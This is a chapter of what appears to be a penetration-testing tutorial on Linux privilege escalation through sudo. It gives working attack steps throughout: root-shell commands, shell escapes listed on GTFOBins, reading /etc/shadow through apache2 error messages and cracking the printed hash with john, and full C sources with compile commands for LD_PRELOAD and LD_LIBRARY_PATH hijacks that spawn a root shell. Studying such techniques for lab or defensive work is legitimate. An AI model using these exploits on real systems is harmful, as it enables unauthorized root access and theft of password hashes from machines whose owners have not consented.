6. Sudo

Introduction

sudo is a program which lets users run other programs with the security privileges of other users. By default, that other user will be root.

A user generally needs to enter their password to use sudo, and they must be permitted access via rule(s) in the /etc/sudoers file.

Rules can be used to limit users to certain programs, and forgo the password entry requirement.


Useful Commands

Run a program using sudo:

$ sudo <program>

Run a program as a specific user:

$ sudo –u <username> <program>

List programs a user is allowed (and disallowed) to run:

$ sudo -l

Known Password

By far the most obvious privilege escalation with sudo is to use sudo as it was intended!

If your low privileged user account can use sudo unrestricted (i.e. you can run any programs) and you know the user’s password, privilege escalation is easy, by using the “switch user” (su) command to spawn a root shell:

$ sudo su

Other Methods

If for some reason the su program is not allowed, there are many other ways to escalate privileges:

$ sudo -s
$ sudo -i
$ sudo /bin/bash
$ sudo passwd

Shell Escape Sequences

Even if we are restricted to running certain programs via sudo, it is sometimes possible to “escape” the program and spawn a shell.

Since the initial program runs with root privileges, so does the spawned shell.

A list of programs with their shell escape sequences can be found here: GTFOBins

  1. List the programs your user is allowed to run via sudo -l

  2. For each program in the list, see if there is a shell escape sequence on GTFOBins

  3. If an escape sequence exists, run the program via sudo and perform the sequence to spawn a root shell.


Abusing Intended Functionality

If a program doesn’t have an escape sequence, it may still be possible to use it to escalate privileges.

If we can read files owned by root, we may be able to extract useful information (e.g. passwords, hashes, keys).

If we can write to files owned by root, we may be able to insert or modify information.

  1. List the programs your user is allowed to run via sudo:

    • $ sudo -l
      ...
      (root) NOPASSWD: /usr/sbin/apache2
    • Note that apache2 is in the list.

  2. apache2 doesn’t have any known shell escape sequences, however when parsing a given config file, it will error and print any line it doesn’t understand

  3. Run apache2 using sudo, and provide it the /etc/shadow file as a config file:

    • $ sudo apache2 -f /etc/shadow
      Syntax error on line 1 of /etc/shadow:
      Invalid command 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84O WAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration
  4. Extract the root user’s hash from the file and crack it with john.

    • john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Environment Variables

Programs run through sudo can inherit the environment variables from the user’s environment.

In the /etc/sudoers config file, if the env_reset option is set, sudo will run programs in a new, minimal environment.

The env_keep option can be used to keep certain environment variables from the user’s environment.

The configured options are displayed when running sudo -l

1. LD_PRELOAD

LD_PRELOAD is an environment variable which can be set to the path of a shared object (.so) file.

When set, the shared object will be loaded before any others.

By creating a custom shared object and creating an init() function, we can execute code as soon as the object is loaded.

Limitations

LD_PRELOAD will not work if the real user ID is different from the effective user ID.

sudo must be configured to preserve the LD_PRELOAD environment variable using the env_keep option.

  1. List the programs your user is allowed to run via sudo:

    • $ sudo -l
      Matching Defaults entries for user on this host:
      env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
      ...
    • Note that the env_keep option includes the LD_PRELOAD environment variable.

  2. Create a file (preload.c) with the following contents:

    • #include <stdio.h>
      #include <sys/types.h>
      #include <stdlib.h>
      void _init() {
      	unsetenv("LD_PRELOAD");
      	setresuid(0,0,0);
      	system("/bin/bash -p");
      }
  3. Compile preload.c to preload.so:

    • $ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
  4. Run any allowed program using sudo, while setting the LD_PRELOAD environment variable to the full path of the preload.so file:

    • $ sudo LD_PRELOAD=/tmp/preload.so apache2
      # id
      uid=0(root) gid=0(root) groups=0(root)

2. LD_LIBRARY_PATH

The LD_LIBRARY_PATH environment variable contains a set of directories where shared libraries are searched for first.

The ldd command can be used to print the shared libraries used by a program:

$ ldd /usr/sbin/apache2

By creating a shared library with the same name as one used by a program, and setting LD_LIBRARY_PATH to its parent directory, the program will load our shared library instead.

  1. Run ldd against the apache2 program file:

    • $ ldd /usr/sbin/apache2
      linux-vdso.so.1 => (0x00007fff063ff000)
      ...
      libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f7d4199d000)
      libdl.so.2 => /lib/libdl.so.2 (0x00007f7d41798000)
      libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f7d41570000)
      /lib64/ld-linux-x86-64.so.2 (0x00007f7d42e84000)
    • Hijacking shared objects using this method is hit or miss. Choose one from the list and try it (libcrypt.so.1 seems to work well).

  2. Create a file (library_path.c) with the following contents:

    • #include <stdio.h>
      #include <stdlib.h>
      static void hijack() __attribute__((constructor));
      void hijack() {
      	unsetenv("LD_LIBRARY_PATH");
      	setresuid(0,0,0);
      	system("/bin/bash -p");
      }
  3. Compile library_path.c into libcrypt.so.1:

    • $ gcc -o libcrypt.so.1 -shared -fPIC library_path.c
  4. Run apache2 using sudo, while setting the LD_LIBRARY_PATH environment variable to the current path (where we compiled library_path.c):

    • $ sudo LD_LIBRARY_PATH=. apache2
      # id
      uid=0(root) gid=0(root) groups=0(root)

Last updated